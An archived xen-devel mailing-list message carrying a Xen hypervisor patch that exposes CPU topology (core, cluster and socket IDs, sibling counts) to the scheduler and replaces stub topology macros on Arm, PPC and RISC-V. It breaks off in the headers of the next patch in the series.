List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=valinux.co.jp header.i="@valinux.co.jp" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=XtgKGevNDHKn9+cQqkmEp+3WjzEhP7Y2kTB6VeMBlyMvYjLO24gr8uZ6egyAdIaDUGyoHlmb1PAYOl3/tyZCOal57E5xpGnFs7VmPddiJlsQ8Oc90zWmpUG5qUTXnqrVWlNU5Izx3Ky176/R0bUiEIra6GzuWcEYNKLyY/CH4QQghcljsLfCV8m9gpgtrrId9vlHzMD1xkBy82HKbLBwOuYYX3Gt/HAUuJyx+1A8XDbZwLB3MJiVXiELTqksZZ+qZ5/qgFT0jmkjt3AfdgRlfkSEtM1lfvsf7uQGznJrkYqJK9I+ILwyB2bXxmUfrcq6JFBnKZYGoj85clXPhW479A==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=KMShCBGc4W5KYknagjI2BL0mNG7v+HoatGWhYaSmHkc=;
 b=hESe9Z6yh8FU/OqOyAujnHe/OGUxIZqCUPQSQfGMlVL/OeQB2YXW0AtDA3gkemF2wL12g6th3BDS2wZXwc3Rf5XVYCr5aFjqjEHAo2kIOR61iqWLpNFZKP4cceRrlhBiekkf6HMofVWhx+eFyaVtTAzWVtQoAmBTjKNPmyYlXNA2TT7YZQNZpEJCXbxX+zM3bnb7NJueXhPnDBIbpHBYNCKzJHVT5wPxd965SWSkPyLxVpEHmjMEgKai1XCCZoSEOcedUJ1CLuiIEaCi6xCDzpip/kz4v+v6pCxX8DSYeQ+iiJg9RVjpS8yNNMAnOMM5XLSz9gKiJ0ZBk5ElHhQlsw==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=valinux.co.jp; dmarc=pass action=none
 header.from=valinux.co.jp; dkim=pass header.d=valinux.co.jp; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=valinux.co.jp;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=KMShCBGc4W5KYknagjI2BL0mNG7v+HoatGWhYaSmHkc=;
 b=LNNDUCEnNY0o5YG2i5F+S+SwJ289F3zO5uhmp4N3jCoy3+WDHJucDjylBgX5oKBNQOXCkpJe3NinuKKLuSl3xLyE9/7nrxVTx5LSi9Wh5vIWyeHXD8wxKxTISZQG7ljtxbl+S9MvhQ0uUREaspc017XhpCyHELTcEeZD00aW7T0=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=valinux.co.jp;
From: Hirokazu Takahashi <taka@valinux.co.jp>
To: xen-devel@lists.xenproject.org
Cc: Mykyta_Poturai@epam.com,
	Hirokazu Takahashi <taka@valinux.co.jp>,
	Jan Beulich <jbeulich@suse.com>,
	Juergen Gross <jgross@suse.com>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Julien Grall <julien@xen.org>,
	Bertrand Marquis <bertrand.marquis@arm.com>,
	Michal Orzel <michal.orzel@amd.com>,
	Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger@xenproject.org>,
	Timothy Pearson <tpearson@raptorengineering.com>,
	Alistair Francis <alistair.francis@wdc.com>,
	Connor Davis <connojdavis@gmail.com>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Dario Faggioli <dfaggioli@suse.com>,
	George Dunlap <gwd@xenproject.org>
Subject: [PATCH v9 2/4] xen/sched: Link CPU topology to scheduler
Date: Tue, 28 Jul 2026 14:06:40 +0900
Message-ID: <20260728050642.411240-3-taka@valinux.co.jp>
X-Mailer: git-send-email 2.43.0
In-Reply-To: <20260728050642.411240-1-taka@valinux.co.jp>
References: <20260728050642.411240-1-taka@valinux.co.jp>
Content-Transfer-Encoding: 8bit
Content-Type: text/plain
X-ClientProxiedBy: TYCPR01CA0158.jpnprd01.prod.outlook.com
 (2603:1096:400:2b1::9) To OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 (2603:1096:604:458::18)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: OS9P286MB7222:EE_|TY1P286MB3277:EE_
X-MS-Office365-Filtering-Correlation-Id: 16d3b7c3-32b4-4f66-c843-08deec6609fa
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|376014|7416014|366016|10070799003|23010399003|1800799024|6133799003|18002099003|22082099003|56012099006|10067099003;
X-Microsoft-Antispam-Message-Info:
	YmjEUchs4Vw9I2AE2dzWOjUlEPlvm9JN/J8z1/NJZR5cFmQeujyNZvTiXrr/d99v+TMguA8heo4s8XHtO8bAkCZ9nKw3dSiOeHb85tKTcCnoDgQwvNt78GLPES02NHcdYuwmE+mMdv6UV5iRaD9PS60sc43sAVeTKjZ8kOR6R0Ut06ONTPW0dBktlfC1rHY7B189JsOWDRtffcWA5pz2r64paVreggJA0PnpUZ5/0D2TQ0x0RcW/knCq1x/2D07TsFczvni8CniKrG76hYZdAXkfWasl3W4zGGVoJhgcJbfknEWAl4eVAo95IA9Gv/67IiTHrC5TwW6pIL14D/DJJeozYvecJKTGyANx0/dhIMP3McOOojNudsNWLQpoIFZADcsQ1x/Dd6YY53kklnHq6itd+jYm7k9JSqjB7yzA2v2G+1vFrehweb2yJ7qXX5ea6BaI26OedIefLtcwSUecM2haXgDLJJJfyeR9wcFaq8XiCx5xVgjU2CXwEDIinu48I+I+OFdTQQyd6UUytWmniUXY2B7yYiIbaV4POY02ZmbTDFBozKRuVy4q0bgwn3CMAhvIfEnBoHmlZXoqXblFnFEJHu4r5tQlyQk+c67YlBd6s43acnZZjrIOkxw0ZczMrGvP/2Aklt4AiYxWp4yav++tCPvEjdpTY2k+LAWUwd8=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM;PTR:;CAT:NONE;SFS:(13230040)(376014)(7416014)(366016)(10070799003)(23010399003)(1800799024)(6133799003)(18002099003)(22082099003)(56012099006)(10067099003);DIR:OUT;SFP:1102;
X-MS-Exchange-AntiSpam-Message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?Q?EOd3OWAU+cZDou47xtPImIbrSMy+h5qu5KTcxzkZjaJ8hxHxu7JXuQfLzWsL?=
 =?us-ascii?Q?ruSdDI57BeXBUhO4Nd1LlV9LhuFM9zBgq7VIH1ruhGqnYuMohXRfZU+7hkUL?=
X-MS-Exchange-AntiSpam-MessageData-1: uqhd6jJI+8nxIA==
X-OriginatorOrg: valinux.co.jp
X-MS-Exchange-CrossTenant-Network-Message-Id: 16d3b7c3-32b4-4f66-c843-08deec6609fa
X-MS-Exchange-CrossTenant-AuthSource: OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 28 Jul 2026 05:06:53.2755
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 7a57bee8-f73d-4c5f-a4f7-d72c91c8c111
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: lQ0d8v4fljutI4aLKD8aKtrDpFFJTjQChQzbDgN0vz4Zt39rvtAhpMxXCJX6C4CgM8EnGWvmt8RG71w+EWGjAA==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: TY1P286MB3277
X-purgate-ID: tlsNG-ebf023/1785215217-53EC6B50-2CC5A6A2/0/0
X-purgate-type: clean
X-purgate-size: 9046

Make CPU topology information available to the Xen scheduler.
Additionally, ensure that this topology information is displayed
when executing the 'xl info -n' command.

Signed-off-by: Hirokazu Takahashi <taka@valinux.co.jp>
Acked-by: Jan Beulich <jbeulich@suse.com>
Reviewed-by: Juergen Gross <jgross@suse.com> # scheduler part
---
 xen/arch/arm/include/asm/processor.h   |  4 --
 xen/arch/arm/smpboot.c                 |  8 +---
 xen/arch/ppc/include/asm/processor.h   |  4 --
 xen/arch/riscv/include/asm/processor.h |  4 --
 xen/common/device-tree/cpu-topology.c  | 65 ++++++++++++++++++++++++++
 xen/common/sched/credit2.c             |  6 +++
 xen/common/sysctl.c                    |  1 +
 xen/drivers/acpi/topology.c            |  3 ++
 xen/include/xen/cpu-topology.h         | 39 +++++++++++++++-
 9 files changed, 114 insertions(+), 20 deletions(-)

diff --git a/xen/arch/arm/include/asm/processor.h b/xen/arch/arm/include/asm/processor.h
index a3753c317f..41fa73cfc4 100644
--- a/xen/arch/arm/include/asm/processor.h
+++ b/xen/arch/arm/include/asm/processor.h
@@ -613,10 +613,6 @@ void show_stack(const struct cpu_user_regs *regs);
 
 #define cpu_relax() barrier() /* Could yield? */
 
-/* All a bit UP for the moment */
-#define cpu_to_core(_cpu)   (0)
-#define cpu_to_socket(_cpu) (0)
-
 struct vcpu;
 void vcpu_regs_hyp_to_user(const struct vcpu *vcpu,
                            struct vcpu_guest_core_regs *regs);
diff --git a/xen/arch/arm/smpboot.c b/xen/arch/arm/smpboot.c
index d957553a44..88b01bcfd2 100644
--- a/xen/arch/arm/smpboot.c
+++ b/xen/arch/arm/smpboot.c
@@ -92,13 +92,7 @@ static int setup_cpu_sibling_map(int cpu)
          !zalloc_cpumask_var(&per_cpu(cpu_core_mask, cpu)) )
         return -ENOMEM;
 
-    /*
-     * Currently we assume there is no multithread and NUMA, so
-     * a CPU is a sibling with itself, and the all possible CPUs
-     * are supposed to belong to the same socket (NUMA node).
-     */
-    cpumask_set_cpu(cpu, per_cpu(cpu_sibling_mask, cpu));
-    cpumask_copy(per_cpu(cpu_core_mask, cpu), &cpu_possible_map);
+    init_cpu_sibling_map(cpu);
 
     return 0;
 }
diff --git a/xen/arch/ppc/include/asm/processor.h b/xen/arch/ppc/include/asm/processor.h
index 242346cab9..1bf6f6c66c 100644
--- a/xen/arch/ppc/include/asm/processor.h
+++ b/xen/arch/ppc/include/asm/processor.h
@@ -141,10 +141,6 @@
 /* Macro to adjust thread priority for hardware multithreading */
 #define HMT_very_low()  asm volatile ( "or %r31, %r31, %r31" )
 
-/* TODO: This isn't correct */
-#define cpu_to_core(cpu)   (0)
-#define cpu_to_socket(cpu) (0)
-
 /*
  * User-accessible registers: most of these need to be saved/restored
  * for every nested Xen invocation.
diff --git a/xen/arch/riscv/include/asm/processor.h b/xen/arch/riscv/include/asm/processor.h
index 6b89df4a2d..d478ffb76b 100644
--- a/xen/arch/riscv/include/asm/processor.h
+++ b/xen/arch/riscv/include/asm/processor.h
@@ -54,10 +54,6 @@ struct cpu_user_regs
     unsigned long pregs;
 };
 
-/* TODO: need to implement */
-#define cpu_to_core(cpu)   0
-#define cpu_to_socket(cpu) 0
-
 static inline void cpu_relax(void)
 {
 #ifdef __riscv_zihintpause
diff --git a/xen/common/device-tree/cpu-topology.c b/xen/common/device-tree/cpu-topology.c
index 9259be73bc..36560dc228 100644
--- a/xen/common/device-tree/cpu-topology.c
+++ b/xen/common/device-tree/cpu-topology.c
@@ -317,6 +317,67 @@ static int __init parse_dt_topology(void)
     return parse_socket(map);
 }
 
+static void __init setup_cpu_topology_ids(void)
+{
+    unsigned int cpu;
+    unsigned int next_core_id = 0;
+    unsigned int next_cluster_id = 0;
+    unsigned int next_socket_id = 0;
+
+    for_each_possible_cpu(cpu)
+    {
+        unsigned int first_cpu;
+        struct cpu_topology *topo = &cpu_topology[cpu];
+
+        first_cpu = cpumask_first(topo->thread_sibling);
+        ASSERT(first_cpu < nr_cpu_ids);
+
+        if ( first_cpu == cpu )
+        {
+            topo->phys_core_id = next_core_id;
+            next_core_id++;
+        }
+        else
+        {
+            topo->phys_core_id = cpu_topology[first_cpu].phys_core_id;
+        }
+
+        first_cpu = cpumask_first(topo->cluster_sibling);
+        if ( first_cpu >= nr_cpu_ids )
+        {
+            /* Clustering is not supported */
+            topo->phys_cluster_id = 0;
+        }
+        else
+        {
+            if ( first_cpu == cpu )
+            {
+                topo->phys_cluster_id = next_cluster_id;
+                next_cluster_id++;
+            }
+            else
+            {
+                topo->phys_cluster_id = cpu_topology[first_cpu].phys_cluster_id;
+            }
+        }
+
+        first_cpu = cpumask_first(topo->core_sibling);
+        ASSERT(first_cpu < nr_cpu_ids);
+
+        if ( first_cpu == cpu )
+        {
+            topo->phys_socket_id = next_socket_id;
+            next_socket_id++;
+        }
+        else
+        {
+            topo->phys_socket_id = cpu_topology[first_cpu].phys_socket_id;
+        }
+
+        topo->num_siblings = cpumask_weight(topo->thread_sibling);
+    }
+}
+
 int __init dt_init_cpu_topology(void)
 {
     unsigned int cpu;
@@ -327,9 +388,13 @@ int __init dt_init_cpu_topology(void)
 
     ret = parse_dt_topology();
     if ( ret == 0 )
+    {
         for_each_possible_cpu(cpu)
             setup_siblings_masks(cpu);
 
+        setup_cpu_topology_ids();
+    }
+
     return ret;
 }
 
diff --git a/xen/common/sched/credit2.c b/xen/common/sched/credit2.c
index 95946634d1..b4a3b59601 100644
--- a/xen/common/sched/credit2.c
+++ b/xen/common/sched/credit2.c
@@ -9,6 +9,7 @@
  * Based on an earlier verson by Emmanuel Ackaouy.
  */
 
+#include <xen/cpu-topology.h>
 #include <xen/errno.h>
 #include <xen/init.h>
 #include <xen/lib.h>
@@ -35,6 +36,11 @@
  */
 static unsigned int cpu_nr_siblings(unsigned int cpu)
 {
+#ifdef CONFIG_GENERIC_CPU_TOPOLOGY
+    if ( cpu_topology )
+        return cpu_topology[cpu].num_siblings;
+#endif
+
 #ifdef CONFIG_X86
     return cpu_data[cpu].x86_num_siblings;
 #else
diff --git a/xen/common/sysctl.c b/xen/common/sysctl.c
index 5207664252..81a68fe24c 100644
--- a/xen/common/sysctl.c
+++ b/xen/common/sysctl.c
@@ -28,6 +28,7 @@
 #include <xen/pmstat.h>
 #include <xen/livepatch.h>
 #include <xen/coverage.h>
+#include <xen/cpu-topology.h>
 
 long do_sysctl(XEN_GUEST_HANDLE_PARAM(xen_sysctl_t) u_sysctl)
 {
diff --git a/xen/drivers/acpi/topology.c b/xen/drivers/acpi/topology.c
index 45d1f2c5be..56fcfa4945 100644
--- a/xen/drivers/acpi/topology.c
+++ b/xen/drivers/acpi/topology.c
@@ -22,6 +22,9 @@ int __init acpi_init_cpu_topology(void)
     {
         struct cpu_topology *topo = &cpu_topology[cpu];
 
+        topo->phys_core_id = cpu;
+        topo->num_siblings = 1;
+
         cpumask_set_cpu(cpu, topo->thread_sibling);
         cpumask_copy(topo->core_sibling, &cpu_possible_map);
         cpumask_copy(topo->cluster_sibling, &cpu_possible_map);
diff --git a/xen/include/xen/cpu-topology.h b/xen/include/xen/cpu-topology.h
index 7cfe3752cd..52ee93d4d0 100644
--- a/xen/include/xen/cpu-topology.h
+++ b/xen/include/xen/cpu-topology.h
@@ -4,22 +4,59 @@
 #define XEN_CPU_TOPOLOGY_H
 
 #include <xen/cpumask.h>
+#include <xen/percpu.h>
 
-#ifdef CONFIG_GENERIC_CPU_TOPOLOGY
+#include <asm/processor.h>
+#include <asm/smp.h>
 
 struct cpu_topology {
     cpumask_var_t thread_sibling;
     cpumask_var_t core_sibling;
     cpumask_var_t cluster_sibling;
+    unsigned int phys_core_id;
+    unsigned int phys_cluster_id;
+    unsigned int phys_socket_id;
+    unsigned int num_siblings;
 };
 
 extern struct cpu_topology *cpu_topology;
+
+static inline void init_cpu_sibling_map(unsigned int cpu)
+{
+    if ( IS_ENABLED(CONFIG_GENERIC_CPU_TOPOLOGY) && cpu_topology )
+    {
+        cpumask_copy(per_cpu(cpu_sibling_mask, cpu),
+                     cpu_topology[cpu].thread_sibling);
+        cpumask_copy(per_cpu(cpu_core_mask, cpu),
+                     cpu_topology[cpu].core_sibling);
+    }
+    else
+    {
+        /* Assume all CPUs reside in the same socket and no threading. */
+        cpumask_set_cpu(cpu, per_cpu(cpu_sibling_mask, cpu));
+        cpumask_copy(per_cpu(cpu_core_mask, cpu), &cpu_possible_map);
+    }
+}
+
+#ifdef CONFIG_GENERIC_CPU_TOPOLOGY
+
 void init_cpu_topology(void);
 
+#define cpu_to_core(cpu) (cpu_topology ? cpu_topology[cpu].phys_core_id : 0)
+#define cpu_to_socket(cpu) (cpu_topology ? cpu_topology[cpu].phys_socket_id : 0)
+
 #else /* CONFIG_GENERIC_CPU_TOPOLOGY */
 
 static inline void init_cpu_topology(void) {}
 
+#ifndef cpu_to_core
+#define cpu_to_core(cpu)   (0)
+#endif
+
+#ifndef cpu_to_socket
+#define cpu_to_socket(cpu) (0)
+#endif
+
 #endif /* CONFIG_GENERIC_CPU_TOPOLOGY */
 
 #endif /* XEN_CPU_TOPOLOGY_H */
-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 05:07:03 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 05:07:03 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1372051.1619469 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woa1t-0001Br-5n; Tue, 28 Jul 2026 05:07:01 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1372051.1619469; Tue, 28 Jul 2026 05:07:01 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woa1t-0001Bk-1p; Tue, 28 Jul 2026 05:07:01 +0000
Received: by outflank-mailman (input) for mailman id 1372051;
 Tue, 28 Jul 2026 05:06:59 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <taka@valinux.co.jp>) id 1woa1r-0000dK-HK
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 05:06:59 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woa1q-00Fj7M-Tz
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 07:06:58 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a6838ed-bab6-0a2a0a5309dd-0a2a4504d6a2-26
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 07:06:58 +0200
Received: from [52.101.125.79]
 (helo=TYVP286CU001.outbound.protection.outlook.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a6838ea-b57f-0a2a45040019-34657d4f8021-6
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 07:06:58 +0200
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM (2603:1096:604:458::18)
 by TY1P286MB3277.JPNP286.PROD.OUTLOOK.COM (2603:1096:400:2e5::9) with
 Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.245.13; Tue, 28 Jul
 2026 05:06:55 +0000
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6]) by OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6%6]) with mapi id 15.21.0245.012; Tue, 28 Jul 2026
 05:06:55 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=valinux.co.jp header.i="@valinux.co.jp" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=x78fsjhVdsZMdnHk3L9mANNjqkf5m0eA7enKDB1Cx+C3KVvSUuqbBdjNrn8DDKoOHuz6pke/1DWyZM+bGH8nXKhorGwFX2BF9OBkoES3v6pgZnpdRbu+E1jO99wcDpq3MNlHvPNeUCmdERS7WtS5oFxHXLCMoDPEwEBNYunnj9PCF+FlpuAwy/AJXnuPWHyGm8ze1CLKh1elFa72CFtu6m4VQl0G8AUq3Bfam2bRvRMI0Tq/QT5foXWG6bAzajfvdmxOzbuzKgqghvona69Fdgb1dQ4vbi5IhP7/Eoxnu6QPzPVw7l45ZGTvKQMar8HQjfcvok6Xarq3yen4XMkA7w==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=XK1cLDx6Xq4Pa7KAEXAzG6KDMbfPkr/rPHIGR/XkH3U=;
 b=IQuuhZdMD1610CZTOw7rRPkadOVzrwmoYZeeA55NsDhsA9YGJXzwEuj8C3Y6XjigD8V0KXgXfFDe0bjhOrfaa1X1NBetSOZtTaTg52TkrcIsTJYynb4J+dW6/Ig4E9lp1IEKMxskVyvJv9hPdxZo4UWHkxB1NjT4oRrOKrAE8qgrLF7+9dY3jjtBDw47sM4AlJXGh10UjvYubIc+NzNChFTBd+4M7aKYWrPTYTIQKxlZEXDOcULUB2tjziAiTN2oBHHKyFWc7Rho0+CjzBP7vFNSWQkRyMK840CqNg6C0+moGk/gSkG8cYOIBlH6R/v13bNpR+STe3oVA7bhaadE/w==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=valinux.co.jp; dmarc=pass action=none
 header.from=valinux.co.jp; dkim=pass header.d=valinux.co.jp; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=valinux.co.jp;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=XK1cLDx6Xq4Pa7KAEXAzG6KDMbfPkr/rPHIGR/XkH3U=;
 b=XDJlo7jePH0TGyg+xqt8lhBrEiJGC4Pdeuyt+DJ09b+IjchgcNuxABEgxntlgdhweMLa+24W9plNN9ZPv6XWx+RWWw8p/16VVZvP6lErhnf9YrNsTHjZdI7ISc0wykNQKm+q9K2I7LuLmvCBwcMd2OSeDbQwjxSBi4zsrSzawOU=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=valinux.co.jp;
From: Hirokazu Takahashi <taka@valinux.co.jp>
To: xen-devel@lists.xenproject.org
Cc: Mykyta_Poturai@epam.com,
	Hirokazu Takahashi <taka@valinux.co.jp>,
	Jan Beulich <jbeulich@suse.com>,
	Juergen Gross <jgross@suse.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger@xenproject.org>,
	Teddy Astie <teddy.astie@vates.tech>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Julien Grall <julien@xen.org>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Dario Faggioli <dfaggioli@suse.com>,
	George Dunlap <gwd@xenproject.org>
Subject: [PATCH v9 3/4] xen/sched: Make cpu_nr_siblings() architecture-specific
Date: Tue, 28 Jul 2026 14:06:41 +0900
Message-ID: <20260728050642.411240-4-taka@valinux.co.jp>
X-Mailer: git-send-email 2.43.0
In-Reply-To: <20260728050642.411240-1-taka@valinux.co.jp>
References: <20260728050642.411240-1-taka@valinux.co.jp>
Content-Transfer-Encoding: 8bit
Content-Type: text/plain
X-ClientProxiedBy: TYCPR01CA0152.jpnprd01.prod.outlook.com
 (2603:1096:400:2b1::6) To OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 (2603:1096:604:458::18)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: OS9P286MB7222:EE_|TY1P286MB3277:EE_
X-MS-Office365-Filtering-Correlation-Id: 6c7c126e-1313-4afe-dc2d-08deec660b38
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|376014|7416014|366016|10070799003|23010399003|1800799024|18002099003|22082099003|56012099006|10067099003;
X-Microsoft-Antispam-Message-Info:
	TPRtjHYC1GTZsY4lQm9j4z/JDNXmW9PFPEEAxFl9wT1EUM1daE/npQsXQG1eD7Ig/CaOMUYF9dDlpOJQiaVNZshzhLYglY0PD7mOl4EmAjkmZYz4aYagmJ7sPIOQ7t8I/SCfJt+jX0ZBLPVFvjf1up78IG8/jIRfLKTIM4qSJ0nnFXjMrwxkX3g8gwfJ+Sio6htGvyEAbBaZelTSolo+mVGK96OPySNJ+RRQBapOeGX5/JhUEPb5M8c+nIH8TKlhyFYChKkZ1+ayMLGf2HJ7d6qvLH6zeeKZaiOX4IC1ZCl8gRr9Z3+jMbjKU4HGzLTJYQLGR/RN3476IuxnNXjEpSjLiZdejp/7yrIyXqLr6ox7UbwU4VvrSCUHPos2mtcLpb96HKajpsPa45n0d7fU3MwdYDPwOL070zA+oO9NaUrFpvJvnIQ5JZfLhqKKJa32x4t+g3p3e59iNnAM/nBpDXq2867SYEIp68wJGynHsLAXITco6J7B95jHy2i+2lLnkrEinN79fzzwzuLD3+kawjJn4RgWAK7J+esbDhmqHjWohSqObKJLvbRuucqoeUxmiCwBQGkom9b1NPDMhgbY+tjxjQUNjx94sws5Jg9BwHoufMEB9HA/tuPSyvYvnIedEok49Vd9QRnA3bR64b+3DurcIS+qMW0x74/fN53htFI=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM;PTR:;CAT:NONE;SFS:(13230040)(376014)(7416014)(366016)(10070799003)(23010399003)(1800799024)(18002099003)(22082099003)(56012099006)(10067099003);DIR:OUT;SFP:1102;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 2
X-MS-Exchange-AntiSpam-MessageData-0:
	=?us-ascii?Q?cYh1gK/pMn7o1cdw2unT64+1yCbLU+4E3i/ht4InSqs+c0O0xhnPcActiAwC?=
 =?us-ascii?Q?ZAr0g+mjQOlhIKFrJSUXfTU9bdqluL+Uw09cft+OCopglvz25j7/eLBqtkfK?=
 =?us-ascii?Q?Fnk+ARFCs+7wxoElsREep5D7OjR30nw2rKgtHOQPnZtE+kcf05VVaihj9VVV?=
 =?us-ascii?Q?5hvi0uvLSjaNO3Q++6i+/ei1yxZw2GQ/0O1UQmwqYMD3yUXkszfJyvkX08vN?=
 =?us-ascii?Q?qFJpvqKCqlKdMZ6pF6x3B2StmNbQdxUJFHKQ4obXr3M8XSQPnP96goYtvdbd?=
 =?us-ascii?Q?MwATle5ybDLNTQ8fZG+VF0CeXkvl93G01oJ29YDXOulJdzSmAWwGtpoK4NtR?=
 =?us-ascii?Q?zPcCrqk7aknCowdSTK2P80p+DwifZxyeuOn6cdITeY2SfhaTdSw2gjgdsAVl?=
 =?us-ascii?Q?4y97auH+6/DEsru7AXkpMb+6QGTZMujFtQk8gf65PHXS8q7ygbgriVWkurx/?=
 =?us-ascii?Q?WiUdLR68Dz8w4qkxttuHIeMgelwYiZtPsGUPtlmt/luiPZeCvTj9+bIubD22?=
 =?us-ascii?Q?Yt1X6CweNbjSAyhd4E8SYRU9uBCWlYNdMOvNPfYSPYw29UprFwTRXY0++wFq?=
 =?us-ascii?Q?h4ErxVwXjJq3J6f6AAomdPodWhnh/f0v/YduOmFIBroY0fwIvp82f+ayx0GE?=
 =?us-ascii?Q?YyKkFr+9nnx9k7nb5n4bN/bmvNnJwI732+hrw9nErW1cjLGFT8qeufosqsTI?=
